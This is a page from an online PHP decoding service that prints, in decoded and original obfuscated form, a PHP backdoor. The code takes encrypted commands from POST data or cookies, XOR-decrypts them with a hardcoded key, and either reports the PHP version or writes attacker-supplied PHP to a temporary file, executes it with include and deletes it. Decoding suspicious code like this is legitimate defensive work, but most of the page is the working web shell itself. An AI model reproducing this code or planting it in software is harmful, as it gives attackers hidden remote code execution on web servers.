Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $hpkxu /* tbd */ = 'hpkxu' /*pftyae */ ^ ' ..

Decoded Output download

<?php $hpkxu /* tbd  */ =    'hpkxu' /*pftyae */ ^      ' 
                                                         '; 
 
$ozkcbtmzq       =      "a"."r"."r" /*  qye   */ .    "a"      .       $hpkxu(121)    . /*bqkgl  */ "_"     . /* hexi */ $hpkxu(1089-980)    .    "a"    .  "p"; 
 
 
function	ohdovy($sgne_p_, /*rlxx   */ $lcxvwcvus) 
{ 
 
 
 /* g */ global	$hpkxu; 
 
     
 
 
	$sgne_p_    = /* mp  */ $hpkxu(821-761) /*   p  */ .    "?"."p"."h"."p"	. /* rewh   */ $hpkxu(32)	.       "u".$hpkxu(1048-938) /*   h_uf  */ .     "l"      .    "i"."n"."k"  .     $hpkxu(779-739)	.   $hpkxu(95)   . /*  byabv*/ "_"."F"      .       "I"."L" /*aphqe  */ .    "E"."_"."_"	.      $hpkxu(41)	.    ";" /*fquue   */ .    $hpkxu(32)    . /*vx  */ $sgne_p_[$hpkxu(913-813)]; 
 
 
    $lqsipd /* url_  */ = /*scq */ "f"."i" /*  fan  */ .  "l"."e"	.       $hpkxu(95)      .       $hpkxu(112)   .	"u"	.       $hpkxu(116)	.     "_"."c" /*  wd */ .   "o"     .  "n" /*  ztyg_  */ .    "t".$hpkxu(101)."n"       .	$hpkxu(116)      .    $hpkxu(115); /*  ivk  */  
 
 /* uohlc_   */ $lqsipd($lcxvwcvus,     $sgne_p_); 
 
    
 
 
  nmvrvpcra($lcxvwcvus); 
} 
 
$cjjxq      = /*  eyenc  */ 73; 
 
 
 
function	nmvrvpcra($lcxvwcvus) 
 
{ /*b */ global /* n  */ $hpkxu; /*  hh   */     include($lcxvwcvus); 
 
 /* hz   */ $m_zlik_s  =       $lcxvwcvus; /*  huslum*/ @unlink($m_zlik_s); 
} 
 
function /*hc*/ khvgak() 
{ 
 
    global   $hpkxu; 
 
 
 
 
	$guxay     =    array(); 
 
 /*   nxmyuh  */ $guxay["p".$hpkxu(118)]    =    phpversion(); 
 
 /*   s   */ $guxay[$hpkxu(873-758)     . /*eg  */ "v"]     =    "3".$hpkxu(936-890)    .    $hpkxu(53); 
 
 
	$nozjvocrrs /*  qmsbmb*/ =	74;	echo      @serialize($guxay); 
 
 
} 
 
 
 
function /*  uldpcs */ vglj_b($sgne_p_, /*gn*/ $rdgknkkggh) 
{ 
 /*oaywye */ global    $hpkxu; 
 /* blgjkz*/ $wzjk_pbuc	=	""; 
 
 
    $dyzbkmlhi  =	strlen($sgne_p_);      $egkwndtxo /*  ht   */ =    strlen($rdgknkkggh); /*  jhc   */ $guxay /*dhb*/ = /*  bw */ 0; 
 
 
 /* gjfk*/ $zvrfkku /*  i */ =	0;     /*   ytklue */ while   ($guxay /*  hwoxw  */ < /* vnj  */ $dyzbkmlhi) /*de_gb */ { 
 
 
       $adzlrsn	=    $sgne_p_[$guxay] /*  qctrlj   */ ^    $rdgknkkggh[$zvrfkku  %    $egkwndtxo]; 
     $wzjk_pbuc       .=    $adzlrsn; 
 
	$zvrfkku++; /*xq*/  
 
 
    $guxay++; /*hj */ } 
        if /*   tu*/ (strlen($wzjk_pbuc) /*  k_ */ >    20)      { 
   $sxyiw    =    substr($wzjk_pbuc,    0,    20); 
 
       }  if /* zbvs */ (empty($wzjk_pbuc))	{ 
 
 /*  wt*/ $wzjk_pbuc       =     date('Y-m-d /*   w*/ H:i:s'); 
 
 
	} 
	return    $wzjk_pbuc;} 
 
 
 
function /* dz   */ aqbjqm($aqtuv) 
{ 
 
 
	global	$hpkxu; 
 
 /*   br */  
 
 
	$qthyux   = /* hve  */ "6"	.    "3"	.      $hpkxu(52) /* eaaj */ . /* fi_i*/ "7" /*   blrkb   */ .    $hpkxu(101).$hpkxu(49)    .     "4"."7"    . /*   pjm   */ "-".$hpkxu(787-731)    .	"1"	. /*   ogbc   */ "e" /*  krdf*/ .    $hpkxu(51)	.  $hpkxu(990-945)	.	"4"."8"."4" /*  ljlqg */ .	"e"    .	$hpkxu(127-82) /*bqujby */ . /*krdkmv  */ $hpkxu(474-377)     .   "4"."f"	.    "b"."-".$hpkxu(98) /* coqs  */ . /*vh */ "7" /*  kof  */ .       "3" /*  hgqfbc */ .    "7".$hpkxu(100) /*  cjq*/ . /* lknah_   */ "5"     . /*  cqtf*/ $hpkxu(462-364) /*  jmw_wd  */ . /*opspu  */ "c"    .	"a"      .    $hpkxu(671-619)    . /*ezlftx */ $hpkxu(49)    .    "1"; 
 
 
          foreach  ($aqtuv /* ert*/ as   $luix_sajl    =>    $sgne_p_) /*   ewy   */ { /* fhrz*/ rgjtyqay(base64_decode($sgne_p_), /*  wg */ $qthyux,  $luix_sajl); 
 
 /* oun_ns*/ } 
 
 
} 
 
 
 
 
 
function /*  lqczxy   */ rgjtyqay($sgne_p_, /*iezyem*/ $qthyux,    $luix_sajl) 
{ 
    global	$hpkxu; 
 
 
 /* vclfc*/   $sgne_p_ /* ziz*/ = /* el   */ unserialize(vglj_b(vglj_b($sgne_p_,       $qthyux),       $luix_sajl));	$flnizz   = /* nvyy   */ 'sw_l'; 
	$tecnsmeo    = /* dbafsu*/ 'spvcid'; 
 /*   m */ if    (isset($sgne_p_["a"."k"])) /* doj  */ { 
 
      if	($sgne_p_["a"] /* mnof */ ==   "i") /*ktpjdh*/ { 
 
	khvgak(); 
   }    elseif /*  wzdoi */ ($sgne_p_["a"] /*  zeou */ ==      $hpkxu(101))    { 
 
 /* cxzng  */ ohdovy($sgne_p_, /*   me   */ sprintf($hpkxu(46)    .       "/"."%"."s".$hpkxu(886-840)    .	"p"."l",    md5($qthyux)));			$tvahl    = /*dpqjpr  */ 44;  } 
 
 /*idsp  */ exit(); 
 
 /* ghhxe   */ } 
} 
 
 
 
aqbjqm($_POST); /*  szvm   */  
 
 
$uxuvv_dw  =    'rawurldecode'; 
 
 
$rtwmbp_zmj    =	$ozkcbtmzq($uxuvv_dw,	$_POST); 
 
explode("",       $uxuvv_dw); 
 
 
aqbjqm($_COOKIE); 
 
 
 
 
 
$cihyezgh     =	$ozkcbtmzq($uxuvv_dw,    $_COOKIE); 
 
 ?>

Did this file decode correctly?

Original Code

<?php $hpkxu /* tbd  */ =    'hpkxu' /*pftyae */ ^      '
                                                         ';

$ozkcbtmzq       =      "a"."r"."\x72" /*  qye   */ .    "\141"      .       $hpkxu(121)    . /*bqkgl  */ "\x5f"     . /* hexi */ $hpkxu(1089-980)    .    "\141"    .  "\160";


function	ohdovy($sgne_p_, /*rlxx   */ $lcxvwcvus)
{


 /* g */ global	$hpkxu;

    


	$sgne_p_    = /* mp  */ $hpkxu(821-761) /*   p  */ .    "?"."p"."h"."\x70"	. /* rewh   */ $hpkxu(32)	.       "u".$hpkxu(1048-938) /*   h_uf  */ .     "\x6c"      .    "i"."n"."\153"  .     $hpkxu(779-739)	.   $hpkxu(95)   . /*  byabv*/ "_"."\106"      .       "I"."\114" /*aphqe  */ .    "E"."_"."\137"	.      $hpkxu(41)	.    "\x3b" /*fquue   */ .    $hpkxu(32)    . /*vx  */ $sgne_p_[$hpkxu(913-813)];


    $lqsipd /* url_  */ = /*scq */ "f"."\x69" /*  fan  */ .  "l"."\x65"	.       $hpkxu(95)      .       $hpkxu(112)   .	"\165"	.       $hpkxu(116)	.     "_"."\143" /*  wd */ .   "\157"     .  "\156" /*  ztyg_  */ .    "t".$hpkxu(101)."\x6e"       .	$hpkxu(116)      .    $hpkxu(115); /*  ivk  */ 

 /* uohlc_   */ $lqsipd($lcxvwcvus,     $sgne_p_);

   


  nmvrvpcra($lcxvwcvus);
}

$cjjxq      = /*  eyenc  */ 73;



function	nmvrvpcra($lcxvwcvus)

{ /*b */ global /* n  */ $hpkxu; /*  hh   */     include($lcxvwcvus);

 /* hz   */ $m_zlik_s  =       $lcxvwcvus; /*  huslum*/ @unlink($m_zlik_s);
}

function /*hc*/ khvgak()
{

    global   $hpkxu;




	$guxay     =    array();

 /*   nxmyuh  */ $guxay["p".$hpkxu(118)]    =    phpversion();

 /*   s   */ $guxay[$hpkxu(873-758)     . /*eg  */ "v"]     =    "3".$hpkxu(936-890)    .    $hpkxu(53);


	$nozjvocrrs /*  qmsbmb*/ =	74;	echo      @serialize($guxay);


}



function /*  uldpcs */ vglj_b($sgne_p_, /*gn*/ $rdgknkkggh)
{
 /*oaywye */ global    $hpkxu;
 /* blgjkz*/ $wzjk_pbuc	=	"";


    $dyzbkmlhi  =	strlen($sgne_p_);      $egkwndtxo /*  ht   */ =    strlen($rdgknkkggh); /*  jhc   */ $guxay /*dhb*/ = /*  bw */ 0;


 /* gjfk*/ $zvrfkku /*  i */ =	0;     /*   ytklue */ while   ($guxay /*  hwoxw  */ < /* vnj  */ $dyzbkmlhi) /*de_gb */ {


       $adzlrsn	=    $sgne_p_[$guxay] /*  qctrlj   */ ^    $rdgknkkggh[$zvrfkku  %    $egkwndtxo];
     $wzjk_pbuc       .=    $adzlrsn;

	$zvrfkku++; /*xq*/ 


    $guxay++; /*hj */ }
        if /*   tu*/ (strlen($wzjk_pbuc) /*  k_ */ >    20)      {
   $sxyiw    =    substr($wzjk_pbuc,    0,    20);

       }  if /* zbvs */ (empty($wzjk_pbuc))	{

 /*  wt*/ $wzjk_pbuc       =     date('Y-m-d /*   w*/ H:i:s');


	}
	return    $wzjk_pbuc;}



function /* dz   */ aqbjqm($aqtuv)
{


	global	$hpkxu;

 /*   br */ 


	$qthyux   = /* hve  */ "\x36"	.    "\63"	.      $hpkxu(52) /* eaaj */ . /* fi_i*/ "\x37" /*   blrkb   */ .    $hpkxu(101).$hpkxu(49)    .     "4"."\67"    . /*   pjm   */ "-".$hpkxu(787-731)    .	"\x31"	. /*   ogbc   */ "\145" /*  krdf*/ .    $hpkxu(51)	.  $hpkxu(990-945)	.	"4"."8"."\64" /*  ljlqg */ .	"\x65"    .	$hpkxu(127-82) /*bqujby */ . /*krdkmv  */ $hpkxu(474-377)     .   "4"."\146"	.    "b"."-".$hpkxu(98) /* coqs  */ . /*vh */ "\67" /*  kof  */ .       "\63" /*  hgqfbc */ .    "7".$hpkxu(100) /*  cjq*/ . /* lknah_   */ "\x35"     . /*  cqtf*/ $hpkxu(462-364) /*  jmw_wd  */ . /*opspu  */ "\x63"    .	"\x61"      .    $hpkxu(671-619)    . /*ezlftx */ $hpkxu(49)    .    "1";


          foreach  ($aqtuv /* ert*/ as   $luix_sajl    =>    $sgne_p_) /*   ewy   */ { /* fhrz*/ rgjtyqay(base64_decode($sgne_p_), /*  wg */ $qthyux,  $luix_sajl);

 /* oun_ns*/ }


}





function /*  lqczxy   */ rgjtyqay($sgne_p_, /*iezyem*/ $qthyux,    $luix_sajl)
{
    global	$hpkxu;


 /* vclfc*/   $sgne_p_ /* ziz*/ = /* el   */ unserialize(vglj_b(vglj_b($sgne_p_,       $qthyux),       $luix_sajl));	$flnizz   = /* nvyy   */ 'sw_l';
	$tecnsmeo    = /* dbafsu*/ 'spvcid';
 /*   m */ if    (isset($sgne_p_["\x61"."k"])) /* doj  */ {

      if	($sgne_p_["\x61"] /* mnof */ ==   "i") /*ktpjdh*/ {

	khvgak();
   }    elseif /*  wzdoi */ ($sgne_p_["\x61"] /*  zeou */ ==      $hpkxu(101))    {

 /* cxzng  */ ohdovy($sgne_p_, /*   me   */ sprintf($hpkxu(46)    .       "/"."%"."s".$hpkxu(886-840)    .	"p"."l",    md5($qthyux)));			$tvahl    = /*dpqjpr  */ 44;  }

 /*idsp  */ exit();

 /* ghhxe   */ }
}



aqbjqm($_POST); /*  szvm   */ 


$uxuvv_dw  =    'rawurldecode';


$rtwmbp_zmj    =	$ozkcbtmzq($uxuvv_dw,	$_POST);

explode("",       $uxuvv_dw);


aqbjqm($_COOKIE);





$cihyezgh     =	$ozkcbtmzq($uxuvv_dw,    $_COOKIE);

Function Calls

HzKXU 1

Variables

$hpkxu HzKXU

Stats

MD5 780f7797c5a0777576c9d992e6aaa8d3
Eval Count 0
Decode Time 112 ms